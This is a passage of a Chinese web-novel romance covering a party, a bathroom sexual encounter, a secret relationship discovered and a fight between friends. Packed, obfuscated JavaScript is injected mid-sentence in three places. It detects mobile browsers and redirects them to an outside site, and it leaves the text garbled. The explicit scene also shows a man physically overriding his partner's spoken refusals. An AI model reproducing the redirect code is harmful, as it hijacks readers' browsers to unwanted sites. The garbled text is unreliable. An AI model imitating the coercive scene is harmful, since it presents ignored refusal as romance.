一大批并不想做学术的人去稀里糊涂跟着大流一起去读研究生,即使他们是被逼的。而逼迫的方法,就是无处不在的优绩主义,家长对于自己没有的学历的痴迷,以及大量毕业即失业的学历贬值的社会背景。 “可是,我们有选择吗?” “我家人觉得研究生学历是必须的。除了保研,就是考研,我没有选择。考研不过是又一次高考,我只觉得打心里恐惧和害怕。考了这么多年的试,我依然紧张到手抖,考试就代表一切,考试分数就是我这个人活在世界上的唯一通行证。我只能一辈子都这样考下去。” 黄怀予也陷入了思考。基于刚刚吴如冬的话,她也开始不得不正式考虑毕业后的去向。 如果必须获得研究生学历是一种强制性的背景和目标的话,在这个背景和目标下的每一个渺小的人也都只能遵从并且寻找属于自己的方法去实现目标。 19岁的她也迷茫不已。她没明白怎么才刚刚从高考的漩涡里走出来没多久,怎么就要被卷着进入新的。好像人生永远都由不得自己,前方永远有漩涡等着自己,这是必经之路,不走就只能掉下独木桥,在深渊里摔到粉身碎骨。 她想,她终于明白为什么戚天和韦真会在一开学的时候就已经自我介绍说想要保研,为什么韦真、金钰和曹康裕可以为了几分的综测加分争得你来我往。资源有限,人却众多,只能靠主动争取。 她喜欢学术吗?她想,她是很喜欢的。 迄今为止,学术给她留下的最深刻的意象,就是徐樱老师,就是渊博的理论,就是浩瀚的知识,以及一个人坐在电脑前冥思苦想但是只要写出来一段论文就会极其有成就感的每一个深夜。 既然如此,她要不要也试一试? * 寒假里,黄怀予和组员一起跟着受访者走进了整容医院,跟着实地探访,甚至同吃同住了一周。每一分每一秒都有新的发现,每到深夜就会在电脑前赶紧记录下今日的经历。访谈结束后,她和组员一起分工写下了研究过程和结论,最后她整合出了一份结项书,再给徐樱修改过后,交了上去。 寒假结束后,她又马不停蹄投入谷奕的项目,跟着一起熬夜写报告做企划书。 同队里的那两个学长和学姐人都很好,出于项目需要黄怀予经常和学长一起出来开会,互相之间慢慢已经变得很熟悉。那个学长似乎懂得特别多,说以前也学过社会统计,黄怀予还从他那里学到了不少东西。 企划书几经修改最后终于完成了。 谷奕对这份大家做出来的项目很是自信,看了又看,满意得不得了。 ——但是黄怀予心想,这些东西恐怕都没有报名页面上“企业指导老师”那一栏里明晃晃的“谷玉”两个字显眼。 学姐学长一整个大吃惊,谷奕知道自己的姓其实已经完全暴露了,于是只能满不在乎地用“我跟谷玉是亲戚关系”来简单应付。 “这算不算关系户?”学长暗戳戳过来问黄怀予。 黄怀予摇头说当然不算啦我们实力也很强,实际上在心里恨不得谷奕直接把项目主持人的名字那一栏写成“胜家太子爷”,立刻变身袁华交上去一篇《我的区长父亲》。 “真的很明显吗?”谷奕皱着眉头,锋利的眉眼压下来,高大的身躯缩在电脑椅上,手指敲着鼠标,认真想这个问题。 他没想这么多,只是大家都说指导老师要找牛逼的,那就直接填个最牛逼的啊。 黄怀予偷偷戳他手臂,“是的少爷。非常明显。” 谷公子眉毛拧起来,沉着脸思考了一会,最终还是把“企业指导老师”那一栏改成了胜家集团旗下的一家连锁酒店的分店负责人名字。这个等级就看上去正常了许多,和谷奕的名字也不再有联想关系。 黄怀予看了他一眼,发现他自己也松了一口气。 她知道,他如果真的想利用自己的身份,当初就不必如此费劲地来参加这个项目了。脱离旧环境,走向新生活,总要有一个开始的,不是吗? * 楚恒已经去国外两个月了。 自从上次两人在江城跨年以来,到现在,基本已经两个多月没有见面了。 黄怀予慢慢也习惯这种长时间异地恋的日子。本来之前梁吟东跟两人说要秘密恋爱,小心隐藏,这下看来根本不用隐藏,因为当事人都不怎么见面。 ——只是,还是忍不住会思念。 在这样漫长的异地中,黄怀予也有点理解了为什么楚恒每次一见面都跟吃了一吨春/药一样。见面的机会太过珍贵,人已经不太能保持清醒了,就算想纯爱也会被黄怀予勾得最后丧失理智。 谷奕的项目交了上去,楚恒也即将回来。大家都很久没有见面,谷奕很高兴,直接又大手笔去包了一家魔都的私人会所给楚恒接风洗尘,还请了梁吟东,让她可以随便带人过来。 会所别墅很大,最大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483154|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间是位于一楼的KTV。 黄怀予和苏琬先到,随后陆陆续续来了很多人。除了谷奕和梁吟东之外,还有一众年轻小明星,全都是东吟公司的艺人。 自从楚恒在《光芒之下》一朝爆火之后,东吟公司也渐渐在行业内有了名气,开始越做越大,现在已经签了好几个新人,发展势头都很好。黄怀予看见那一众小艺人全是年龄相仿的年轻女孩男孩,长得一个个都漂亮精致。 甚至,她还看见了一张很脸熟的面孔。 ——之前参加过《光芒之下》后来主动退赛的喻之明。 比起之前比赛的时候,他好像现在精神好了很多,整个人神采奕奕,性格也变得外向。之前的霸凌事件对他的大众形象仍然有影响,“装可怜搏出位”、“害人精”这样的恶评仍然无法摆脱,因此他干脆转换赛道,签约东吟公司之后开始作为网红继续发展,直播唱歌跳舞,自媒体做翻唱翻跳,慢慢也积累了不少粉丝。 到了局上,第一肯定是要介绍组局的老板。 谷奕穿着黑色皮夹克,戴着墨镜,坐在沙发上,戴着昂贵腕表的手里拿着一杯酒,长腿懒散地交叠。 楚恒还没到,他也兴致缺缺,本想就坐在一边安安静静喝点酒。 没想到梁吟东直接给这一排小艺人介绍谷奕是“胜家酒店集团的太子”。 那几个小艺人全都懵了,全部都诚惶诚恐地站起来,开始疯狂看眼色,一个个都以为这场聚会是什么娱乐圈潜规则大佬陪酒环节。 于是所有人都开始特别积极地表现自己或者去给谷奕敬酒,但是积极中带着恐惧,恐惧中带着胆小,胆小中带着服从,一边心里想着“操/我就知道进娱乐圈之后就会有这么一天,这黑暗的世界和资本,我是不会屈服的!”,一边又战战兢兢带着笑“快点在大佬面前好好表现一下啊!” ……黄怀予和苏琬在旁边看着,简直快要笑死。 有个胆大的艺人看见大佬还坐着两个年轻女生,开口问道:“这两位是……” 一个短发,吊带加短裙,高挑纤长,脸上笑容明媚。 一个长发披肩,白色长裙外面套了一件灰色针织开衫,五官秀气精致,一双眼睛亮晶晶的,整个人纤细温柔。 谷奕把墨镜提起来架在额头上,露出一双锋利的长眸,歪着头,一把揽过长发女生的肩膀,搂在怀里,笑得有点痞,“我女朋友。” “!”一众小艺人立刻互看了一眼,鞠躬道,“嫂子好!” 谷奕又指着旁边的短发女生,“我最好的朋友。” 短发女生听了这话瞬间笑出声,开心得不得了,“你最好的朋友?不用加个限定词吗,比如你最好的异性朋友?” “不用。就是我最好的朋友。” 黄怀予眼睛都发亮了,“楚恒知道这件事吗?你最好的朋友不是他而是我?哈哈哈!” “!!”一众小艺人又互相看了一眼,怎么三言两语就好像刺探到了关于胜家太子和楚恒师兄之间的什么隐秘的四人关系…… 又有胆大的问黄怀予:“那你和楚恒师兄是……” 黄怀予很认真地说:“普通朋友关系。” “跨啦——”就在这时,房间门被打开。 一个高高瘦瘦的身影逆光站着,穿一件宽大的卫衣外套,鸭舌帽压住了半张脸,鸭舌帽外面又戴了一层卫衣的连帽,双手插进外套口袋里,整个人都被外套包了起来。 他身上还带着刚下国际航班的疲惫,整个人冷峻沉默。 刚刚还热闹的KTV房间里顿时鸦雀无声,所有人的目光都被吸引过去,今天这场接风宴的主角,终于到了。 174. [锁] [此章节已锁] 黄怀予坐在原地。 看见他的那一刻,她呼吸都一滞。 双手下意识收紧成拳,差点觉得心脏要停止跳动。 两个多月没见了。 上一次见面,他们在江城凛冽的寒风里,在酒店房间整整呆了三天,他缠着黄怀予几乎没怎么离开房间,连水和饭都是他喂过来的。 如此亲密,滚/烫,热意绵绵,可是第二天就再次分隔,天南海北,接近70天都无法见到面。 楚恒站定。 一眼就看见了人群中的黄怀予。 两个人的视线隔着不长不短的距离隔空交汇。 周围人群喧闹,梁吟东起身帮楚恒拿东西,一众小艺人都开始起身鞠躬给楚恒师兄让座位,谷奕眼睛一亮,几步走上去抱住他的肩膀说兄弟好久不见。 人影憧憧,晃晃缓缓,无数的人都是背景,无数的灯光都是氛围,他的目光直挺挺地落在她身上。 帽子被摘掉,KTV房间晃来晃去的彩色灯光照在他英俊的眉眼上,自从看见黄怀予的那一瞬间,他周身冷峻一下子冲散许多,沉默地站在原地,一瞬不瞬地就那样盯着她看,眼里像是燃烧着一簇小小的红色/火光。 …… KTV里又热闹起来,互相唱歌喝酒聊天。不知道是不是梁吟东授意,好几个外向的小艺人极其主动地带动气氛,房间里一派欢乐。 还有几位是歌手,本着谷奕在场的原则就想给大佬展示一下,一个个都很积极上去唱歌,光是听着就觉得已经像一场小型拼盘演唱会。 谷奕跷着腿,漫不经心地聊天,说项目里有个学长,看上去好像喜欢杯姐,每天都各种点奶茶抢请客。 那学长成绩也很好,长得也挺清秀,每次都只记得杯姐的喜好,会特地点她喜欢吃的东西。两个人都会一点统计学知识,还很有共同语言。 黄怀予这时候已经玩嗨了,喝了一点酒,完全没意识到谷奕话里的危险以及旁边某处越来越低的气压,只是真心实意感叹,“那个学长确实挺有能力的。” “真的?”谷奕来了兴趣,勾起嘴角,“我倒是难得看见你夸谁。你俩之间是不是有情况?” “?”黄怀予突然一惊,那点酒意一下子就醒了。 ……她差点忘了,关于她不是单身这件事,谷奕是毫无所知的。居然还想着撮合她和学长。 而更恐怖的是,其实她正牌男朋友就在现场。 “啪——”旁边突然传来一声重重的玻璃碎裂声。 一个玻璃杯被扔在了地上,酒液溅了一地,玻璃碎渣满地都是。 这一声吓了所有人一跳,正在唱歌的人都不由自主停了。 “怎么了?”谷奕站起身,“哥们,没伤到吧?” 低沉磁性的声音响起,带着一点冷。 “没。” 谷奕没当回事,按了铃找会所服务员,没过几分钟就有人过来把玻璃碎渣清理走了。 他重新坐下来,还在继续讲学长的话题,越说越起劲,冲着黄怀予抛了个媚眼,“我倒是觉得你和他挺配的。” “……”黄怀予一整个心惊肉跳。 她偷偷去瞄旁边某一处的那人的脸色,果然见他表情极其不好看,整个人笼罩着阴沉的低气压,一句话也不说,就坐在那里。 她只能打哈哈,“没有没有,都是同学,哈哈哈。” …… 楚恒静静地呆了一会,就出去了。 黄怀予坐立难安,怕他生气,想来想去,终究还是找了个去厕所的理由,也出去了,急急忙忙去找他。 走出KTV房间大门,往别墅右处的拐角,果然看见门后是一个洗手间,门打开,而楚恒正站在洗手池旁边。 别墅的洗手间都是干湿分离的,马桶和洗手池之间有着隔断,两边几乎不挨着,整个洗手间非常干净,还有淡淡的香薰味。 黄怀予急急忙忙跑过去,左右看了两眼发现外面没人,才走进去关上了门,小声凑到他面前。 “楚老师,我跟那个男生就是普通同学关系!我们甚至都不是一个学校的,只是在一起做项目!” 黄怀予急急忙忙解释完,却发现楚恒没什么表情。 他微微俯身,正在慢条斯理地、仔仔细细地洗手。 他洗得特别认真,从手指到手腕,从指甲到指缝,每个角落都认真揉搓着洗手液,仿佛等会这双手要干什么大事。 黄怀予观察了一会,见他面容平静,只是在认真地洗手,觉得他应该是没生气,于是放心了,拍拍他。 “没生气吧?那就好,你真大度,么么哒。我先回去啦,你慢慢洗。” 她刚转过身,就被一股巨大的力量拉住了手。 下一秒失重感就袭来,她猝不及防被抱了起来,放在了洗手池上,随后两/腿/之间就被他强/硬地/挤了进来。 楚恒两手撑在她身侧,整个身体把她密密地笼罩住,双眸紧紧地盯着她的脸,压迫感极强。 黄怀予吓了一跳,她当然知道楚恒这反应绝对是生气了,于是只能抱着他的脖子,亲了两下他的唇作为安抚。 “那都是大傻乱说的。” 他沉默几秒,才缓缓开口,“是吗?” 这是他两个多月以来正式见面和她说过的第一句话。 楚恒低下头,盯着看。黄怀予今天上身穿着吊带,下身穿着牛仔短裙。看着看着,手已经/摸/了上来。 黄怀予眼睛骤然睁大,察觉到他的意图,赶紧抓住他的手,“外面有人。” 他却置若罔闻,只是一瞬不瞬地盯着她的脸,手却动作迅速。 ?! 黄怀予目瞪口呆,她还没来得及说话,嘴就已经被堵住,疾风暴雨的吻密密麻麻地砸了下来。 等一下! 他的手! 黄怀予狠狠抖了一下,仿佛处于风暴中心被巨大的浪卷走,浑身电流乱窜。 她立刻并拢/双/腿,可是他的身体强硬地挤在中间,左手紧紧地按着膝盖不让她动。 她心跳砰砰,满脑子全都是这里是会所别墅,是谷奕给楚恒办的接风派对,十几个人在这里聚会,外面走廊随时有人经过。 她双手迅速抵上他的胸口想推开楚恒,可是他的身体比铁还重,唇/舌/间攻势极猛,像是要把这两个月欠的全部补回来。 她一边被吻到快缺氧,一边皱眉承受着下方陌生但强烈的感觉,嘴巴还被堵住,只能发出呜呜呜的含糊不清的声音,大脑近乎一片空白。 …… “哎?有人吗?” “有人吧,打不开。” “那去那边的卫生间吧。” 一墙之隔的小小房间里,黄怀予浑身无力,歪歪扭扭坐在洗手台上,呼吸起伏,脸上透着绯色。 男人低头看看自己指尖。捻了两下。随后抱着她开始温柔地吻。 黄怀予推开他的脸,仰头往后靠,不让他追上来。她眼睛红红的,一边看他,一边还想着认真解释。 “我跟他真的只是普通同学。” 楚恒的吻被她躲开好几次,屡次吻不到她,于是微微低头,把头埋进了/她右边脖颈里,说了一句听不出情绪的话。 “现在这种时候,还要提他吗?” “……”黄怀予一愣,眨眨眼,没说话。 没等到回答,她肩膀上来什么奇怪的触感,一下子的刺痛,是被咬了。黄怀予又听见她脖颈间传来一句闷闷的话。 “你说和他是普通同学关系。” “那你在大家面前,说和我,是什么关系?” 黄怀予老老实实回答: “普通朋友关系。” 身上的人身形似乎顿了一下,紧接着他缓慢地从她脖颈间抬起头,那双桃花眼沉沉地凝视她。 “他成绩很好,懂得很多,做项目也很有责任感。” “他还懂一点统计学知识,所以也经常教我。” “他请我喝了一次奶茶。” 楚恒语气平淡,不快不慢地一个一个字念着。每个字都是黄怀予刚刚说过的,一字不差。 “等会!别念了。”黄怀予瞪大眼睛,“你怎么这都记得这么清楚?你这记忆力不去参加高考真是可惜了。” 这话不经思索地说出来以后,黄怀予才后知后觉感觉不对。 楚恒当年高中都还没有毕业就去公司里当练习生了,别说高考,他就连高中毕业证/都没有拿到。每次苏琬谷奕和她聊起一些学过的知识时,他只是一个人沉默地站在旁边。 ——完了!说错话了!楚恒不会觉得她是在嫌弃他学历低吧! 黄怀予慌了,刚想继续解释,紧接着果然就看见楚恒眸色一闪,眼里慢慢/涌出了新的情绪,似是野火,似是烈/焰。 他突然笑了。 “嗯。” “我能力有限,学历低下,浑身上下唯一有的,就是一副皮囊,和钱。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491895|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黄怀予愣住了。 身上的男人声音低沉好听,缓缓眨了眨眼,那双桃花眼里绽放出柔和潋滟的笑意。 趁着她愣神的功夫,他的两只大手已经牢牢地/捏/住了她的膝盖,一点点往外拉开。 “我只配做你的普通朋友。” “那现在,你和普通朋友,在洗手间里,在干什么呢?” 他话音刚落,就把头低了下去。 ! 黄怀予被眼前这一幕惊得尖叫出声,又赶紧死死捂住嘴。 门外响起时有时无的脚步声。 她仰起头,用力捂住自己的嘴,从未有过的感觉让她的眼角已经泛出生/理/性眼泪。 “楚恒!楚恒!” 他的手力气极大,带着不可动摇的力气,黄怀予完全挣脱不开。 “啊啊!” “不行……楚恒!” 她脚蹬开他的/肩膀,浑身发抖,呼吸急促,眼神朦/胧一片。 楚恒被蹬开,看着眼前的地板上出现的一滩未知透明/液体,轻轻地笑了。 他站起身,走到旁边,扯出几张卫生纸,低头,仔仔细细地给黄怀予擦着。 “……”黄怀予双手捂住眼睛,语气里已经带上了哭腔,“我讨厌你。” “嗯。” 他应了一声,给她认认真真地擦干净,扔掉了纸,转身回来抱着她,一点一点吻着她蒙住眼睛的手,低声说道: “我爱你。” …… 黄怀予身/下已经被清理干净,穿戴整齐。 她跳下洗手台,瞟了一眼楚恒。 那人正蹲下身,用纸巾擦着地板上那滩液体,一点点擦干净。 ……而他的身下,早已经有什么不容忽视的东西。 刚刚他压上来的时候,黄怀予就已经感觉到了。 她看他一眼,说:“我先走了。你等会再回去。” 楚恒点点头。 她转身,想拉住洗手间的门把手。手停在半空,又收了回来。 楚恒见她又转头,似是余怒未消,又威胁似地加上一句,“你自己解决。” 他勾起嘴角,又点点头。 “……”这次好像终于没什么话说了。黄怀予生气地转身,站在原地,半天不动。 楚恒在后面默默看着她的背影。 等了几秒,就看见眼前的女生从兜里掏出手机,打开看了一眼时间。又好像下定什么决心似的,再次转过身来。 她别别扭扭地叉着腰,摸摸鼻子。 “说实话,其实……刚才我也挺shuang的。” “我们两个月没见面了。” “所以……我也帮你一次。” 她走上前,手上已经开始解他的腰/带。 下一秒,手腕就被握住了。 “干嘛?”她抬头,“我手是干净的。” 她在他那双眸子里看见什么东西好像一整个碎裂掉,沉沉的丝毫不加掩饰的/像是火焰一样熊熊燃烧,像是下一秒就要把她吞没掉,紧接着她就被一股大力推到了墙边,被困在墙与他之间。 黄怀予立刻拉着他的/腰带,转了个身,用力推着他的/胸膛,反客为主把他压在墙边。 她手上动作不停,瞪他一眼。 “都说了我帮你。” “不过,只给你十五分钟时间。要快点哦。” 楚恒的手臂仿佛钢筋铁骨,黄怀予被他牢牢地抱着,唇上受着他的吻。有时手上用的力气大了,她就会听见楚恒鼻间溢出不受控的/喘息,随后嘴唇会被更重地吻住。 她估摸着快到十三分钟了,但是这人好像还远远没有结束。 黄怀予踮起脚尖,凑到他耳边,手上用了些力气,在他耳边轻声说: “哥哥。” “###,好不好?” 好像有什么东西在那一瞬间崩裂。楚恒埋在/她颈间,浑身抖得厉害,大口大口呼吸着。 他缓缓抬起头,朦胧地看着她,眼睫颤动。 黄怀予在他眼眸里看见自己的倒影。那双眸子里满满全是对自己深深的迷恋。 她莫名来了一股成就感,笑眯眯看他。 “舒/服吗?” 楚恒微微眨眨眼,重又俯首至她颈间,眷恋地/蹭蹭,闻她的发香。 “舒/服得要死了。” 黄怀予没想到他居然有一天也会说出这种话,一愣,随后笑出了声。 175. 第 175 章 黄怀予回到KTV房间之后半个小时,楚恒才施施然走进来。 黄怀予回来的时候还拎着两大袋夜宵,说是刚刚出去买的,一回来就跟众人打成一片,微信都加了一圈,跟着一起喝酒玩大冒险。 所以在场没有一个人会想到,她刚刚的消失和楚恒的消失之间,会有什么关联。 众人一起玩到了后半夜。 大家都慢慢撑不住了,慢慢一群小艺人也一个个走了,苏琬被梁吟东送了回去,黄怀予和楚恒也出了门准备回酒店。 只剩谷奕,临走时收到了一个谷玉打来的电话,垂着头听了一会。挂断以后整间别墅已经没人了。 …… 其实只是看上去没人。 因为黄怀予还没走。 她跟大家告别,说等会自己打车回去,结果走到拐角就被一只手拉了进去。 楚恒站在黑暗里,俯身压了下来,不由分说地就吻了上去。 “先亲会,你再走。” 黄怀予怕被人发现,躲开他的吻,“刚刚在洗手间都亲过了!” “……两个月没见了。”他喘着气,低声说,“等会为了避嫌也不能一起回去,就算回酒店也不能呆在一间房里。你可怜可怜我吧。” 他的身躯像山一样压下来,挣也挣不开,黄怀予只能由他去了。 一边被他吻得腿软,一边还要分神留意会不会有人过来,简直辛苦得很,偏偏楚恒还很不满地咬她嘴/唇,不准她分心,黄怀予简直要疯了,理性和感性在脑子里狂乱纠缠,令人脸红心跳的水声在寂静的黑暗角落响起。 “啪——” 一声什么东西摔在地上的声音骤然响起。 黄怀予被吓了一跳,浑身一抖,瞬间从吻中抽身,脸还红红的,微微喘着气。 楚恒迅速把她的脸按进怀里,手摸着她的后脑勺无声安慰,一边平复呼吸,一边冷冷地朝声音传来的方向看了一眼。 这一看,他愣住了。 ——谷奕就站在几步之外的走廊,整个人像是被点穴点住一般一动不动,手还维持着打电话的动作,然而他的手上空空如也,因为他的手机已经掉在了地上,“啪”地一声,摔得四分五裂。 “你们……” “你们……” 他抖着唇,露出了从未有过的最震惊、最呆滞的表情。 “你们?” “你们。” “你们!!” 他颤抖着伸出手指,指向面前那两个人,一连说了五个“你们”,每一个“你们”都带着不同的情绪,层层递进,简直像电影学院表演教科书。 他站在原地,只觉得一口气涌上来,下一秒就要直冲脑袋窒息而亡了。 可是紧接着他就看见,楚恒只是在第一眼看见他的时候,表情有那么一点惊讶,随后立刻又恢复了那张冷淡的脸,然后脱下了自己身上的外套,完完全全包住了自己怀里的女生,又低下头轻柔在她耳边说了一句,“没事。” “她有事个JB!”谷奕忍无可忍大吼,“有事的是我!” “……你先冷静一下。”黄怀予从楚恒怀里探出一个毛茸茸的脑袋,她头发散乱,双手趴在楚恒胸口,只露出一双亮闪闪的眼睛,为难地斟酌着语气说,“要不我们先回酒店说吧。” 谷奕却没什么心情听黄怀予提出什么解决方案,他目光已经直愣愣落在了楚恒身上的衣服上——楚恒脱掉了外面的外套披在了黄怀予身上,露出了里面穿的一件黑色卫衣,正好就是以前谷奕送给他的某一年的生日礼物,FREE的定制款,全世界仅此一件,右下角绣了他的名字缩写“CH”。 谷奕当场愣在原地。 他脑子里好像闪过什么很久很久之前的回忆。 “刷”地一下,飞快出现又迅速消失,衣服下摆的“CH”两个字像是和记忆里的什么场景重合起来,他绞尽脑汁地去想,可是实在是太久远,记忆模糊,怎么也想不起来。 * 谷奕一个人坐在酒店房间沙发上。 房间里没人,现在已经是凌晨六点,从会所别墅回来以后他就一直这样一个人安安静静坐着。 黑色皮衣被压得发皱,两条长腿胡乱踩着桌面,抿着唇,不说话,一个人连着抽了三根烟。 到底是什么? 到底是什么?? 他一言不发绞尽脑汁地想,好像马上就要想起来,不上不下堵在中间,简直比他看到楚恒把黄怀予按在角落里重重地吻的那一刻还要崩溃。 谷奕认真分析,那件衣服是他什么时候送给楚恒的? 2016年年底,楚恒生日的时候,送给他的。 2017年8月他一个人到了楚门上学,9月和楚恒约着在楚门见了一面,还和程朗、卫语一起打了一次球——那天,楚恒就穿的那件衣服。 等等,9月? 谷奕脑子里瞬间闪过一条白线。 !!! 他立刻弹跳起来,抓起旁边的手机,点开黄怀予的朋友圈,开始往下狂翻。 黄怀予的朋友圈是永久可见。他一直翻一直翻,划了几十下都没划到底,咬牙切齿地骂:“死杯子为什么每天有这么多话要发!” 终于,他翻到手都快抽筋了,才翻到了一条2017年9月的朋友圈。 “一不小心吃得太多,吃成急性肠胃炎了,我恨。此条屏蔽家长,小姨的酒吧真好玩(龇牙龇牙龇牙)。” 他颤抖着手,点开配图。 照片上,黄怀予的手上插了针管,正在吊水。图片拍得歪七硕八,都没有摆正,右下角还有一个模糊的人影,拍了一半,只露出来被拍摄者的黑色衣服下摆。 他双眼睁大,赶紧放大图片右下角—— 只看见,糊成一团的照片里,那件黑色衣服的下摆,除了品牌名“FREE”之外,还绣着两个非常非常小的字母。 ——“CH”。 谷奕如遭雷击。 “我日啊啊啊啊啊啊啊啊啊啊啊啊!” 他捶胸顿足,气得敲桌子,“2017年!高三!你们就搞在一起了!!” 他直接拨通了黄怀予的电话。 响了七八声,没接。谷奕知道这没良心的女人肯定现在正在自己房间里大睡特睡呢,刚刚两个人在角落里接吻被他撞破,之后楚恒甚至装都不想装,直接当着谷奕的面把黄怀予抱了起来上了谷奕的车,还嘱咐谷奕的司机“开慢点”。 不接是吧?继续打。一连打了四五个,对面终于接通,谷奕不用想也知道肯定是睡意朦胧刚被他吵醒。 “你跟楚恒!你们怎么回事!说!” 对面沉默。 “朕只恨自己从前瞎了眼睛!不曾看出你们二人的私情!” “……”黄怀予把传出怒吼的手机拿远了一点,揉了揉耳朵,“皇上息怒,臣妾与果郡王绝无苟且之事。” “你骗谁呢?!几小时前在别墅里亲得颠鸾倒凤不知天地为何物的,不是你们俩?!” 黄怀予抠抠头,纠结地想了两秒钟,还是决定坦白,“好吧。是我们俩。” 说完又补上一句,“亲一下而已,还没有直接在KTV ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“要你说!她是我最好的朋友,我怎么可能打到她!你装什么装!亏我把你当兄弟!”谷奕被楚恒那股满不在乎的态度弄得怒火中烧,高大的身躯一下子站起来,几步走到他面前揪住他的衣领。 “哎哎哎!你们干什么!”黄怀予和苏琬彻底傻了,赶紧上前拉架。 “有病啊你们!你们两个打什么打!”黄怀予把楚恒扯开,踮起脚尖捧住他的脸,认真仔细端详了几秒,“没打到脸吧?你下周还要出镜的。” 楚恒低头看着她,享受着她的关心,嘴角慢慢勾了起来,心情似乎一下子变好不少,揽住她的腰在她唇上亲了一下。 “操!你们再亲一个试试!”谷奕双眸赤红,一脚揣上楚恒的腰,把他踹倒在地后整个人都骑了上去,左手揪住他的衣领,右拳已经高高扬起。 “谷奕!”苏琬立刻上去握住他的右拳,扯着他把他往后拖,“你干什么!你们是好朋友啊!” “朋友?楚恒你把我当朋友吗?谈恋爱确认关系这么久都不告诉我,中间四个人一起见面了这么多次都装得跟没事人似地,看着我像个傻子一样被你们玩得团团转,你很开心吗?” “我是别人?跟你认识了这么多年你说我是别人?你把我当什么?你瞒着我泡了我最好的朋友,你把我当什么?你对她那股莫名其妙的占有欲真让人想笑,我认识她的时候你他爹的还不知道在哪呢!” 176. 第 176 章 魔都胜家酒店八层。 棕色真皮沙发上坐着两个身材高大的男生。 左边眉眼冷厉,寸头黑衣,脸上贴了无菌敷料;右边五官精致,皮肤白皙,手臂上缠了纱布。 两个人虽然此时此刻坐在同一张沙发上,可是两个人身体简直隔得十万八千里,各自翘着腿沉着脸,一言不发,脸色比锅底还黑,身上笼罩着散不去的低气压。 黄怀予站在两人面前,抱着胸,冷着脸,像是班主任训话一样。 而两个高高大大的男生在她面前都莫名乖顺地低着头,一言都不敢发。 “两个神经病!”黄怀予气得嘴都歪了,“楚恒下周还有拍摄,打伤了怎么办!” “切。”谷大少爷臭着脸,从鼻子里哼出一声音节,咬着牙,阴阳怪气道,“知道你心疼你的帅哥明星男朋友,放心吧,没打到他脸!” “他不就手臂擦破点皮吗?还假模假式整个纱布缠着,哎呦喂故意让你心疼他呢~现在脸被打到的是我!” 黄怀予正在气头上,火气比谁都重,抬手就拍了一下谷奕的头,谷奕痛叫一声捂住脑袋。 “我说你了?你来找骂?你神经病啊谁让你动手的?” “在外面火锅店里就打起来了,你想明天头版头条全是胜家酒店继承人和当红歌手在火锅店里打架吗?” 楚恒眼看着黄怀予打了一下谷奕,语气还十分凶,一下子整个人都松动了,眼里流露出愉悦的笑意,他就知道在这场朋友VS恋人的比拼里,黄怀予终究是更在意他这个男朋友一些。 他嘴角勾起,侧过身子挑衅地看了一眼满脸憋屈的谷奕,又慢慢抬眸,那双桃花眼里水润润的,就这么直勾勾盯着黄怀予看,说,“没关系的,临走之前我给了钱,老板心里有数,消息不会泄露出去。” 黄怀予看谁都不爽,一视同仁,抬手又拍了一下楚恒的头。 “你这么有钱是吧?谁都可以给钱是吧?你欠谷奕那几百万还清了吗?” “……”此话一出,楚恒颇有些呆滞地望着黄怀予,发顶被她打的那一下还没完全消散,愣愣地作痛。 “哈哈哈哈哈!”谷奕忍不住了,解气地往后一躺,两条长腿往前一伸,玩世不恭地斜眼看着楚恒,瞬间就从刚刚憋屈的状态里走了出来,脸上那叫一个春风得意。 “你们两个!向对方道歉!现在!” 班主任下令了,两个刺头校霸只能插着兜,一个看东一个看西,摸着鼻子敛着眼,不约而同低声说: “对不起。” 黄怀予:“留在这里好好反省!” 她气呼呼地走了。 …… 整个胜家酒店八楼已经被谷奕长期征用,电梯都已经重新改装过,除了特制的卡之外,其他人都不能按八楼,而特制的卡只有四张,他们四人一人一张。 周围空荡无人,苏琬之前接到一个电话之后就走了,现在黄怀予也走了,两个男人坐在沙发上大眼瞪小眼,只剩沉默。 谷奕突然开口。 “你有多喜欢黄怀予。” 这句话实在太突如其来,也没有任何铺垫,楚恒听到这话,微微眯了一下眼睛,笑了一下,“和你喜欢苏琬一样。” “……”谷奕像是无话可说了,他沉默地歪着头,一双大手无聊地玩着裤子侧面的银链,又烦躁地翻回来。 “我知道你心里怎么想的。” 谷奕语气很平静,他盯着前方的空气。 “我和她认识比你久。我们是高中同学,每天见面读书都在一起。当你只能呆在帝都的时候,我们三个人在楚门朝夕相处。我们学着一样的知识,考着一样的试,有着共同的生命轨迹,从楚门到江城,五年都在一起。” 谷奕说着说着像是陷入回忆,长眸里慢慢闪过一些什么情绪。 他想到两人并不友好的第一次见面,可是黄怀予却为了他在教导主任面前挡事,像个行走江湖有情有义的游侠一样拍着胸脯说“大家都是朋友”。 停电的时候教学楼楼梯口人影憧憧,漆黑一片只有若隐若现的手机屏幕光乱甩,她扒着苏琬的手臂嘻嘻哈哈地笑,又回头看他。 